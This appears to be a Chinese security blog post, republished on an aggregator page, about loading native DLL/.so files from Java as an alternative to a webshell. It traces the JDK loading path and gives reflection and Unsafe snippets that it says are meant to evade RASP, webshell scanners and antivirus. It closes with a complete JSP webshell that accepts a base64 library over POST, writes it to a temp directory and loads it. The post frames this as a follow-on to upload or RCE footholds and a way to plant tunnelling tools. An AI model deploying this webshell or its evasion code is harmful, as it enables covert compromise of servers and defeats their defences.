惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

P
Proofpoint News Feed
V2EX - 技术
V2EX - 技术
S
Secure Thoughts
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
L
LINUX DO - 最新话题
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Hacker News: Ask HN
Hacker News: Ask HN
T
Troy Hunt's Blog
Forbes - Security
Forbes - Security
Application and Cybersecurity Blog
Application and Cybersecurity Blog
P
Proofpoint News Feed
Know Your Adversary
Know Your Adversary
Schneier on Security
Schneier on Security
H
Heimdal Security Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Simon Willison's Weblog
Simon Willison's Weblog
V
Vulnerabilities – Threatpost
月光博客
月光博客
罗磊的独立博客
Webroot Blog
Webroot Blog
博客园 - 【当耐特】
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
The Cloudflare Blog
爱范儿
爱范儿
Last Week in AI
Last Week in AI
博客园 - 聂微东
博客园 - 叶小钗
美团技术团队
A
Arctic Wolf
P
Palo Alto Networks Blog
T
Tailwind CSS Blog
Cyberwarzone
Cyberwarzone
雷峰网
雷峰网
Apple Machine Learning Research
Apple Machine Learning Research
人人都是产品经理
人人都是产品经理
宝玉的分享
宝玉的分享
H
Hacker News: Front Page
大猫的无限游戏
大猫的无限游戏
S
SegmentFault 最新的问题
Jina AI
Jina AI
C
Cyber Attacks, Cyber Crime and Cyber Security
The Last Watchdog
The Last Watchdog
IT之家
IT之家
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
酷 壳 – CoolShell
酷 壳 – CoolShell
阮一峰的网络日志
阮一峰的网络日志
J
Java Code Geeks
B
Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
P
Privacy & Cybersecurity Law Blog

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
Java加载动态链接库 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

前段时间在赛博回忆录群聊中看到师傅们谈论Java加载动态链接库的方法,研究之后,笔者认为该方案某种程度上是可以替代webshell一种方式。

文中研究代码会上传到JavaLearnVulnerability项目上。


加载动态链接库

群中聊天记录存在着相似的代码片段,dll下载地址仓库3gstudent/test

public static  void loadDll3(){
    try {
        System.load("D:\\temp\\calc_x64.dll");
    }catch (UnsatisfiedLinkError e){
        e.printStackTrace();
    }
}

image-20220124115239143

可以看到可以直接调用System.load方法进行直接加载dll文件。


load调用流程

跟进去可以发现load方法调用Runtime.getRuntime().load0方法,filename是传入文件名。也就是说我们也可以调用Runtime的load方法进行加载动态链接库。

image-20220124130944696

但其实发现load0方法是无法直接调用的,但可以直接调用load方法从而间接调用load0方法。

image-20220124131158138

load0方法的最后一行是调用ClassLoaderloadLibrary方法,传入的参数依次是当前类,和文件名,已经是否是绝对路径。

image-20220124131440998

进行跟进ClassLoader#loadLibrary方法,方法声明写着一行注释。主要说明loadLibrary方法在java.lang.Runtime类中调用实现了loadloadLibrary方法。

// Invoked in the java.lang.Runtime class to implement load and loadLibrary.
static void loadLibrary(Class<?> fromClass, String name,
                        boolean isAbsolute) {
    ClassLoader loader =
        (fromClass == null) ? null : fromClass.getClassLoader();
    if (sys_paths == null) {
        usr_paths = initializePath("java.library.path");
        sys_paths = initializePath("sun.boot.library.path");
    }
    if (isAbsolute) {
        if (loadLibrary0(fromClass, new File(name))) {
            return;
        }
        throw new UnsatisfiedLinkError("Can't load library: " + name);
    }
    if (loader != null) {
        String libfilename = loader.findLibrary(name);
        if (libfilename != null) {
            File libfile = new File(libfilename);
            if (!libfile.isAbsolute()) {
                throw new UnsatisfiedLinkError(
"ClassLoader.findLibrary failed to return an absolute path: " + libfilename);
            }
            if (loadLibrary0(fromClass, libfile)) {
                return;
            }
            throw new UnsatisfiedLinkError("Can't load " + libfilename);
        }
    }
    for (int i = 0 ; i < sys_paths.length ; i++) {
        File libfile = new File(sys_paths[i], System.mapLibraryName(name));
        if (loadLibrary0(fromClass, libfile)) {
            return;
        }
        libfile = ClassLoaderHelper.mapAlternativeName(libfile);
        if (libfile != null && loadLibrary0(fromClass, libfile)) {
            return;
        }
    }
    if (loader != null) {
        for (int i = 0 ; i < usr_paths.length ; i++) {
            File libfile = new File(usr_paths[i],
                                    System.mapLibraryName(name));
            if (loadLibrary0(fromClass, libfile)) {
                return;
            }
            libfile = ClassLoaderHelper.mapAlternativeName(libfile);
            if (libfile != null && loadLibrary0(fromClass, libfile)) {
                return;
            }
        }
    }
    // Oops, it failed
    throw new UnsatisfiedLinkError("no " + name + " in java.library.path");
}

在判断传入的是否是绝对路径后就调用了loadLibrary0方法

image-20220124132050291

loadLibrary0方法中会读取nativeLibraryContext内容,判断是否已经被其他的classloader加载过了。

image-20220124134336447

紧接着会实例化NativeLibrary类,然后调用load方法加载动态链接库。

image-20220124134528474

NativeLibrary是classloader中的一个静态匿名类,NativeLibrary中的load方法内容如下,可以发现是已经到native层面了。

native void load(String name, boolean isBuiltin);

模拟load方法加载动态链接库

为什么模拟?

已经可以使用System和Runtime类调用load方法加载动态链接库,为什么还要模拟NativeLibrary或者是ClassLoader类加载动态链接库呢?

  1. 在webshell查杀工具、RASP、终端安全防护软件等安全软件工具会容易检测到System和Runtime的调用,很容易就会被安全软件查杀。大家都知道越到底层的查杀会越来越难,细想一下Native层面查杀成本就很高了。
  2. 模拟load方法可以避免中间过程异常从而导致加载失败,在Java层面调用越少就不容易出错,兼容性也会大大的提升。

首先来看JDK中内置的可以加载动态链接库的几个方法

public static void loadDll2(){
    Runtime.getRuntime().load("D:\\temp\\calc_x64.dll");
}

public static  void loadDll3(){
    try {
        System.load("D:\\temp\\calc_x64.dll");
    }catch (UnsatisfiedLinkError e){
        e.printStackTrace();
    }
}
public static void loadDll4(){
        com.sun.glass.utils.NativeLibLoader.loadLibrary("\\..\\..\\..\\..\\..\\..\\..\\..\\temp\\calc_x64");
}

loadDll2和loadDll3是都是具有高危类的调用,而loadDll4并不是在所有的环境都是通用的。

com.sun.glass.utils.NativeLibLoader.loadLibrary在写这篇文章的前两天看到浅蓝师傅的文章探索高版本 JDK 下 JNDI 漏洞的利用方法提到的。

为什么这个com.sun.glass.utils.NativeLibLoader类并不是通用的呢?

  1. 存在于jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java,在不同的版本的jdk中javafx并不是都存在的。
  2. NativeLibLoader会首先在jdk环境下找文件名,如果需要自定义路径必须使用../的方式进行目录穿越。并且如果是windows的话,只能穿越到JDK所在的盘符的根目录下。举例说明,如果JDK安装在D:/java/JDK/下,那么只能穿越到D盘的任意目录下面,比例说穿越到D:/temp/目录下,文件名参数就只能写成../../../../temp/calc,文件名还不能跟后缀,不然传入文件名会被变成calc.dll.dll。相对而言Linux平台是可以穿越任意目录的。

如何模拟?

  • 如果模拟ClassLoader加载就会存在两个方案
    • 模拟ClassLoader的loadLibrary和loadLibrary0两个方案。
  • 如果模拟NativeLibrary就只存在load方法

ClassLoader#loadLibrary

loadLibrary方法是静态私有方法,无法直接调用。使用Java反射就能解决该问题代码如下:

    public static void loadDll(){
        try {
            Class clazz = Class.forName("java.lang.ClassLoader");
            Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
            method.setAccessible(true);
            method.invoke(null, clazz, "D:\\temp\\calc_x64.dll", true);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

ClassLoader#loadLibrary0代码类似就不贴了。

NativeLibrary#load

由于NativeLibrary是ClassLoader的内部静态匿名类,无法直接进行实例化,进而调用load方法。解决方案有两种方式

  • 使用反射获取构造方法,修改权限进而实例化,获取load方法、调用、传入参数。
String file = "D:\\temp\\calc_x64.dll";
Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
con.setAccessible(true);
Object obj = con.newInstance(JDKClassLoaderBypass.class,file,true);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);
  • 使用Unsafe类的allocateInstance方法获取实例类,由于unsafe的特性可以无视构造方法强制进行实例化,可以完美绕过限制,这种方法可以更好绕过RASP之类的安全防护。
String file = "D:\\temp\\calc_x64.dll";
Class aClass = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe)declaredConstructor.newInstance();
Object obj =  unsafe.allocateInstance(a);
Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class);
method.setAccessible(true);
method.invoke(obj, file, false);

实战化解决方案

差异性

与传统的webshell对比一下,可达到免杀的效果。使用项目Rvn0xsy/SystemGap也可实现小马的效果,不同于传统的小马,这个可加个签名轻松做到免杀效果。对比传统webshell可以将frp等代理工具作为动态链接库形式发送给后端,直接写入目标服务器上。某种程度上是可以取代传统webshell,在某些操作还更加比webshell更加方便。比例说,上传frp、socks代理等操作,可以采用预先设置好命令,直接加载相应的动态链接库,直接一键化实现内网穿透。

解决方案

团队师傅写一个静态资源页面Dynamic Link Library Loader Tools项目临时地址loader就实现了上述功能,更多功能还在完善中,后续会更新到0x727团队项目中。

对应加载动态链接库的恶意代码,以jsp代码形式。其实完全是可以改造成内存马的形式,也可以配合反序列化漏洞,上传漏洞等使用。

Codes ~~~java ```java <% String p = request.getParameter("p"); String t = request.getServletContext().getRealPath("/"); java.io.PrintWriter outp = response.getWriter(); outp.println("WebRootPath:
" + t + "
"); t = request.getServletPath(); outp.println("ServletPath:
" + t + "
"); t = (new java.io.File(".").getAbsolutePath()); outp.println("WebServerPath:
" + t + "
"); java.util.Random random = new java.util.Random(System.currentTimeMillis()); outp.println("If you upload a dynamic link library it will be automatically uploaded to the system temp path.
" + " If it is Windows it will be uploaded to C:/Windows/temp/, " + "else if it is Linux it will be uploaded to the /tmp/ path
"); t = System.getProperty("os.name").toLowerCase(); if (t.contains("windows")) { t = "C:/Windows/temp/dm" + random.nextInt(10000000) + "1.dll"; }else { t = "/tmp/dm" + random.nextInt(10000000) + "1.so"; } if (p != null) { try { java.io.FileOutputStream fos = new java.io.FileOutputStream(t); fos.write(D(p)); fos.close(); N(t); outp.println("Dynamic Link Library is uploaded, and the path is: " + t + "
"); outp.println("load uploaded success !!!
"); } catch (Exception e) { outp.println(e.getMessage()); } } outp.flush(); outp.close(); %> <%! private void N(String t) throws Exception { Object o; Class a = Class.forName("java.lang.ClassLoader$NativeLibrary"); try { java.lang.reflect.Constructor c = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class}); c.setAccessible(true); o = c.newInstance(Class.class,t,true); }catch (Exception e){ Class u = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Constructor<?> c = u.getDeclaredConstructor(); c.setAccessible(true); sun.misc.Unsafe un = (sun.misc.Unsafe)c.newInstance(); o = un.allocateInstance(a); } java.lang.reflect.Method method = o.getClass().getDeclaredMethod("load", String.class, boolean.class); method.setAccessible(true); method.invoke(o, t, false); } private byte[] D(String p) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[])(clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), p)); } catch (Exception var5) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[])(decoder.getClass().getMethod("decode", String.class).invoke(decoder, p)); } } %> ``` ~~~

效果展示

假如已经通过文件上传、RCE等方式上传了前面提到jsp木马。木马会输出一些信息,目前上传路径是写死的,后续这个可以改(以任何方式,这个不重要)。

image-20220126201326631

然后Dynamic Link Library Loader Tools输入url,选择Payload(目前只有弹计算器)。

image-20220126201629504

点击提交,会发送一个请求包以POST方法,发送p = ${payload}$资源。最终会跳转到对应url上,并在目标服务器弹出计算器。

image-20220126202040625


总结

目前只研究了Java加载动态链接库的方式,并实现了在Java层面最本质的加载方式。rebeyond 大佬在《Java内存攻击技术漫谈》提及了Java跨平台任意Native代码执行,后续可能有望实现无文件加载动态链接库的方式,所以目前来看该技术前景还是很大的。

加载动态链接库的方式可以实现传统webshell的部分功能(严谨),也能做到一些无法做到一些事情。试想如果动态链接库加上签名,那么终端对抗难度会降低,这也是与传统webshell的区别所在,也是一种特性。但与此同时,此技术还在初级发展阶段,还有很多需要改进的地方。


参考

https://tttang.com/archive/1405